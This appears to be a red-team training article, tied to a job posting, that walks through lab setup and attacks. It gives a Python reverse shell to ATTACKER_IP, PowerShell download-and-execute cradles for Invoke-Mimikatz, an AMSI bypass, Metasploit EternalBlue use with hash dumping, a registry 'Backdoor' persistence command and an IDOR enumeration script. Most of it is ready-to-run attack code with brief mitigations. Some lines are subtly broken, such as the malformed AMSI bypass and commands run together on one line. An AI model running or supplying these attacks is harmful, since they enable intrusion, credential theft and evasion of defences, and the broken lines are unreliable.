Introduction:
Offensive security professionals simulate real-world adversarial tactics, techniques, and procedures (TTPs) to identify vulnerabilities before malicious actors exploit them. Using frameworks like OWASP Top 10 and MITRE ATT&CK, combined with tools such as Burp Suite and Metasploit, red teams can systematically uncover weaknesses in web applications, networks, and cloud infrastructures. This article delivers a hands-on guide to mastering these skills, aligned with the requirements of Grupo Coppel’s Security Testing team opening in Mexico.
Learning Objectives:
- Simulate real-world attack chains by mapping TTPs to the MITRE ATT&CK framework.
- Exploit and remediate OWASP Top 10 vulnerabilities using Burp Suite and custom Python/PowerShell scripts.
- Deploy Metasploit for post-exploitation and lateral movement while hardening cloud and API environments.
You Should Know:
- Building Your Offensive Security Lab (Kali Linux + Windows Target)
A controlled lab environment is critical for legal and safe penetration testing. Use virtualization to isolate attacker and target machines.
Step‑by‑step guide:
- Download and install VMware Workstation Player or VirtualBox.
- Set up Kali Linux (attacker) – preloaded with Burp Suite, Metasploit, Nmap.
- Create a Windows 10/11 VM or Ubuntu Server as the target.
- On Kali, verify networking: `ip a` → ensure both VMs are on the same NAT or Host‑Only network.
5. Install missing tools:
sudo apt update && sudo apt install burpsuite metasploit-framework python3-pip pip3 install requests flask
6. On Windows target, disable real‑time protection (lab only) and enable WinRM for remote administration:
Enable-PSRemoting -Force Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP" -RemoteAddress Any
Why this matters: A repeatable lab allows you to practice offensive techniques without legal risk and mirrors enterprise networks.
- Web Penetration Testing with Burp Suite (OWASP Top 10)
Burp Suite intercepts and modifies HTTP/S traffic, enabling discovery of SQL injection, XSS, and broken authentication.
Step‑by‑step guide for SQLi exploitation:
- Launch Burp Suite from Kali: `burpsuite` (Community Edition works).
- Set your browser to proxy: 127.0.0.1:8080. Install Burp’s CA certificate for HTTPS.
- Navigate to a vulnerable web app (e.g., DVWA or bWAPP).
- Turn on Intercept – submit a login form and capture the request.
- Send the request to Repeater (Ctrl+R). Inject a test payload:
`username=admin’ OR ‘1’=’1′ — &password=anything`
- Forward the request – if you bypass login, the parameter is vulnerable.
- Automate scanning: Right‑click → Do an active scan to identify more issues.
Linux command for SQLi automation with sqlmap (integrates with Burp):
sqlmap -u "http://target.com/page?id=1" --batch --dbs
For XSS, use Burp’s Intruder with payloads like `` in input fields.
3. Exploitation with Metasploit Framework (Multi‑Stage Attacks)
Metasploit provides pre‑built exploits, payloads, and post‑exploitation modules for real‑world simulations.
Step‑by‑step – exploiting EternalBlue (MS17‑010) on Windows 7/2008:
1. Start Metasploit: `sudo msfconsole`
2. Search for the exploit: `search eternalblue`
3. Use the module: `use exploit/windows/smb/ms17_010_eternalblue`
4. Set options:
set RHOSTS 192.168.1.100 (target IP) set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 (Kali IP) set LPORT 4444
5. Run exploit. On success, you get a Meterpreter shell.
6. Post‑exploitation tasks:
getuid check privileges hashdump dump NTLM hashes run post/windows/manage/migrate move to a stable process load kiwi && creds_all Mimikatz for plaintext passwords
Mitigation: Apply MS17‑010 patch, disable SMBv1, and segment legacy systems.
4. Python for Custom Payload Development
Python allows you to craft bespoke exploits, reverse shells, and automation scripts when off‑the‑shelf tools fail.
Step‑by‑step – building a reverse shell (Linux target):
- On attacker machine, start listener: `nc -lvnp 4444`
2. Create `rev_shell.py` on attacker:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ATTACKER_IP", 4444))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
3. Transfer to target (via SMB, HTTP, or USB):
sudo python3 -m http.server 80 on attacker wget http://ATTACKER_IP/rev_shell.py on target
4. Execute: `python3 rev_shell.py` – you get a shell on your netcat listener.
For Windows targets (encoding evasion):
import base64; shell = "powershell -e " + base64.b64encode(b"IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')").decode()
5. PowerShell for Windows Offensive Operations
PowerShell is natively available on all modern Windows systems, making it ideal for living‑off‑the‑land techniques.
Step‑by‑step – downloading and executing Mimikatz without touching disk:
1. On attacker, host `mimikatz.exe` via HTTP:
sudo python3 -m http.server 80
2. On target (compromised system), run:
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
3. To bypass AMSI (Anti‑Malware Scan Interface):
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Windows command to enumerate domain info (post‑exploitation):
net user /domain net group "Domain Admins" /domain
Mitigation: Constrained language mode, AMSI, and logging with Sysmon.
6. Mapping Attacks to MITRE ATT&CK (Tactical Simulation)
MITRE ATT&CK provides a knowledge base of adversary behavior. Use it to plan and document your simulated attacks.
Step‑by‑step – mapping a phishing+execution chain:
1. Initial Access (T1566.001) – spearphishing attachment.
2. Execution (T1059.001) – PowerShell one‑liner.
3. Persistence (T1547.001) – registry run key:
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\Windows\Temp\malware.exe"
4. Defense Evasion (T1027) – obfuscated payload.
5. Credential Access (T1003) – Mimikatz LSASS dumping.
6. Lateral Movement (T1021.002) – PsExec.
Tool integration: Use Atomic Red Team or CALDERA to automate ATT&CK techniques. Install CALDERA on Kali:
git clone https://github.com/mitre/caldera.git && cd caldera pip3 install -r requirements.txt && python3 server.py
7. Cloud Hardening & API Security Testing
Modern offensive roles require testing APIs and cloud misconfigurations (AWS, Azure, OCI – as seen in Grupo Coppel’s Oracle Cloud link).
Step‑by‑step – testing an API endpoint for IDOR (Insecure Direct Object Reference):
1. Intercept API request with Burp (e.g., GET /api/user/1234).
2. Change the ID to GET /api/user/1235. If you see another user’s data, it’s vulnerable.
3. Automate with Python:
import requests
for i in range(1000,1010):
r = requests.get(f"https://target.com/api/user/{i}", headers={"Authorization":"Bearer eyJ..."})
if r.status_code == 200: print(f"Leaked: {r.text}")
Cloud hardening commands (AWS CLI):
aws iam list-users aws s3 ls --summarize --human-readable aws s3api put-bucket-acl --bucket vulnerable-bucket --acl private
Azure (Az PowerShell):
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "Contributor"}
Remove-AzStorageContainer -Name "public-container" -Force
Mitigation: Implement rate limiting, proper authorization checks, and use API gateways with WAF.
What Undercode Say:
- Offensive security is a proactive necessity: Simulating TTPs with MITRE ATT&CK and OWASP tools uncovers critical risks before breaches occur. The Grupo Coppel job posting reflects a growing demand for hands-on red teamers who go beyond automated scanners.
- Tool fluency alone is insufficient: Combining Burp Suite, Metasploit, Python, and PowerShell with a deep understanding of attack chains and cloud misconfigurations (as seen in the Oracle Cloud link) is what separates junior testers from elite specialists. Continuous lab practice and certification (OSCP, OSWE) remain the gold standard.
Prediction:
By 2028, AI‑powered autonomous red teaming will augment human testers, but creativity in chaining vulnerabilities and evading defenses will remain a uniquely human skill. Offensive security roles will increasingly require cloud‑native exploit development (AWS Lambda, Azure Functions) and API‑specific attack frameworks. Organizations like Grupo Coppel will prioritize candidates who can demonstrate live simulations of MITRE ATT&CK techniques across hybrid environments, with compliance mandates pushing for quarterly purple team exercises. Expect salary premiums for experts fluent in AI‑driven attack surface management and zero‑day research.
